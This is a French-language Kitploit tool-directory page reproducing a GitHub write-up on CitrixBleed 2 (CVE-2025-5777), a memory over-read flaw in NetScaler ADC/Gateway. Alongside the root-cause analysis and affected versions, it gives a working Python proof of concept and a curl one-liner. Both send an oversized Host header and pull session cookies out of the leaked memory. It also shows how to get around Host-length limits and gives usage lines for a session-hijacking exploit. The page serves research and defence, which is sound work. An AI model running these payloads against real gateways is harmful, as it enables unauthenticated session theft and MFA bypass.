Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — Analyse détaillée du PoC et du kit de détection CitrixBleed 2 — CVE-2025-5777 (fuite hors limites) | Kitploit
Outils/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Outils DéfensifsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et ÉducationRed TeamingRéponse aux Incidents
Labs et Pratique
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

Analyse détaillée du PoC et du kit de détection CitrixBleed 2 — CVE-2025-5777 (fuite hors limites)

Voir le dépôt
17212il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CitrixBleed 2 (CVE-2025-5777) Analyse ultime

Une lecture mémoire hors limites dans NetScaler ADC / Gateway — Un manuel complet de la cause aux exercices d'attaque et de défense


Utilisation du PoC : python3 poc.py https://gateway.example.com

Utilisation de l'exploit : python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Table des matières

0x00  引言 / 速览
0x01  背景:NetScaler 架构与 CitrixBleed 1 回顾
0x02  漏洞描述(影响版本、CVSS、利用后果)
0x03  触发机理深剖(源码级分析 & 调试截图)
0x04  最小 PoC + 高级扫描脚本
0x05  红队视角:完整攻击链(发现 → 泄露 → 会话劫持 → 内网横向)
0x06  蓝队视角:检测、取证与补丁验证
0x07  防御加固:补丁、WAF、配置、资产治理
0x08  学习 / 复习路线图与实战实验
附录 A  Sigma / Suricata / Nginx-Lua 规则
附录 B  补丁/利用时间轴 & IoC 快照
参考资料

0x00 Introduction / Aperçu

  • CVE-2025-5777 (également connu sous le nom de CitrixBleed 2) est une lecture mémoire hors limites (Out-of-Bounds Memory Read) dans Citrix NetScaler ADC / Gateway.
  • Un attaquant n'a pas besoin d'authentification ; il lui suffit d'envoyer une requête GET avec un en-tête Host anormalement long pour que l'appareil « projette » des blocs de mémoire aléatoires avec la réponse HTTP vers le client.
  • Les données divulguées contiennent souvent des éléments critiques tels que les cookies NSC_USER / NSC_TASS, le StateContext SAML, les jetons MFA, etc., qui peuvent être directement réutilisés pour prendre le contrôle des sessions et contourner la MFA ([arcticwolf.com][1], [tenable.com][2]).
  • Score de base CVSS v4 : 9.3 (Critique) ([netscaler.com][3]).
  • 2025-06-17 : publication publique. 2025-06-23 : Citrix élargit la portée et publie un correctif. En l'espace d'une semaine, ReliaQuest, Bishop Fox et d'autres éditeurs de sécurité ont observé une forte augmentation des exploitations dans la nature ([reliaquest.com][4], [bishopfox.com][5]).

0x01 Contexte

1.1 Aperçu du flux de travail NetScaler

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler adopte une architecture multi-processus + IPC interne. WebProc traite la plupart des requêtes HTTP sous les chemins AAA / Gateway, notamment /nf/auth/*, /oauth/*, etc. Il utilise massivement snprintf() / memcpy() en langage C pour assembler des fragments XML/HTML.

1.2 Rappel sur CitrixBleed 1 (CVE-2023-4966)

  • En 2023, une vulnérabilité similaire se produisait sur l'interface de découverte OAuth /oauth/idp/.well-known/openid-configuration.
  • Son essence était la même : utilisation de la valeur de retour de snprintf comme paramètre len pour le send() suivant → affichage mémoire hors limites.
  • CitrixBleed 2 prouve que le même type de défaut de codage sécurisé subsiste toujours dans d'autres chemins.

Leçon apprise : si un correctif de sécurité ne cible que le « point d'impact » plutôt que le « paradigme de programmation », il laisse la place à une « réplication par modèle ».


0x02 Description de la vulnérabilité

ChampContenu
CVECVE-2025-5777
AliasCitrixBleed 2
Type de vulnérabilitéLecture hors limites / Fuite d'informations
CVSS v4 Base9.3 (Crit.) ([netscaler.com][3])
Versions affectées< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3])
Condition d'exploitationNetScaler configuré en tant que Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) ou serveur virtuel AAA ([arcticwolf.com][1])
Conséquences de l'exploitationFuite mémoire → jeton de session → contournement d'authentification / contournement MFA → mouvement latéral

0x03 Analyse approfondie du mécanisme de déclenchement

Cette section est basée sur une rétro-ingénierie du firmware 13.1-55.18 + débogage avec gdb, compilée à partir de blogs publics ([bishopfox.com][5]).

3.1 Point d'entrée de la vulnérabilité

  • URI : /nf/auth/startwebview.do
  • Paramètre contrôlable : en-tête HTTP Host
  • Cette interface sert à générer le XML de redirection Workspace WebView. Exemple de réponse normale :
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Chaîne de fonctions clés

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length peut être > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Point de bug : snprintf renvoie la « longueur qui aurait dû être écrite » et non la longueur réellement écrite ; si le Host fourni par l'utilisateur est > 0x1800 - longueur de la partie constante, alors length > sizeof(buf).

3.3 Illustration à l'exécution

buf: [-----XML-----][OOB][OOB][OOB]......            <- limite 0x1800 octets
                          ↑
                envoyé en totalité par ns_vpn_send_response

Affichage des points d'arrêt GDB (registres clés) :

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

Le résultat de read() montre que les 1 600 derniers octets proviennent de mémoire non initialisée, où l'on peut voir des tampons de cookies d'autres sessions SSL.

3.4 Catégories de données divulguées

CatégorieExtrait exemple (désensibilisé)
Cookie de sessionSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
Jeton MFA/OTPradius_state=0e2a9c6d1553...
Autres corps de requête<username>audituser</username><password>***</password>

0x04 Implémentation du PoC

4.1 Script Python en un fichier (15 lignes)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • Si l'exécution renvoie 200 + plusieurs Ko, le système est considéré comme vulnérable.
  • Cherchez ensuite dans leak.bin des mots-clés comme Cookie=, <AuthenticateContext>, etc.

4.2 Ligne unique Bash / curl

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Bypass : certains équipements limitent la longueur de l'en-tête Host via un F5 / Nginx en amont. On peut contourner en utilisant une concaténation de sous-domaines, par exemple foo.foo.foo.…foo.example.com (répéter foo 3000 fois).


0x05 Point de vue de l'équipe rouge : chaîne d'attaque complète

Télécharger l’outil